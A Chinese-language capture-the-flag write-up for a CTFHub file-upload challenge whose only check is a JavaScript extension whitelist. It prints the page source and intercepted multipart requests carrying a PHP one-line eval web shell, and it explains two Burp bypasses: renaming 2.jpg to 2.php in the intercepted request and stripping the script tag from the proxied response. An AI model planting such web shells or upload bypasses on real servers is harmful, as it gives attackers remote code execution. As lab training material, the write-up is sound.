网页源码
<body>
<h1>CTFHub 文件上传 - js前端验证</h1>
<form action="" method="post" enctype="multipart/form-data" onsubmit="return checkfilesuffix()">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
<script>
function checkfilesuffix()
{
var file=document.getElementsByName('file')[0]['value'];
if(file==""||file==null)
{
alert("请添加上传文件");
return false;
}
else
{
var whitelist=new Array(".jpg",".png",".gif");
var file_suffix=file.substring(file.lastIndexOf("."));
if(whitelist.indexOf(file_suffix) == -1)
{
alert("该文件不允许上传");
return false;
}
}
}
</script>
</body>
发现它在上传文件时调用了一个函数,这个函数只允许上传三种图片格式的文件。
Burp改请求
这但是在前端验证,我们用burp抓包,先给它传一个2.jpg
,先过前端验证,然后前端向后端请求的包会被burp抓到,这时候在请求包里包把文件名改成2.php
就实现绕过前端验证并传马啦!
下面是原始请求包[节选]
-----------------------------27707769729801775931606292902
Content-Disposition: form-data; name="file"; filename="2.jpg"
Content-Type: image/jpeg
<?php @eval($_POST['wuuconix']); ?>
-----------------------------27707769729801775931606292902
Content-Disposition: form-data; name="submit"
Submit
-----------------------------27707769729801775931606292902--
我们只要把文件名改成以下即可。
-----------------------------27707769729801775931606292902
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: image/jpeg
<?php @eval($_POST['wuuconix']); ?>
-----------------------------27707769729801775931606292902
Content-Disposition: form-data; name="submit"
Submit
-----------------------------27707769729801775931606292902--
成功上传并连接。
这也证明了一个事情,就是请求包里的Content-Type
不改也行,只要后缀名是php
,就能发挥它的职能,这个Content-Type应该只是传输过程中给服务器端的提示罢了,如果服务器端没有对该属性进行处理,那么它就是无效的。如果后台对这个Content-Type做了某种验证的话,我们就必须也得改了。
这是一种做法,既然验证代码在前端 ,可不可以直接把script标签删掉来绕过前端验证呢?
Burp代理响应,直接删除js
我试了一下,直接在源代码里把script
标签删掉是掩耳盗铃,不能实现效果。但是如果利用Burp修改题目的Response,在相应里直接把script
标签删掉就能够实现。
一般情况下Burp只是代理我们的请求,我还没有试过代理相应。
设置如下图。
然后刷新一下页面,Forward一下,让自己的请求先发出去,然后你就会看到服务器的相应了。
在这个相应里把script标签删掉。
这时渲染出来的页面就是真真切切没有script标签的了。
能够直接上传php木马了。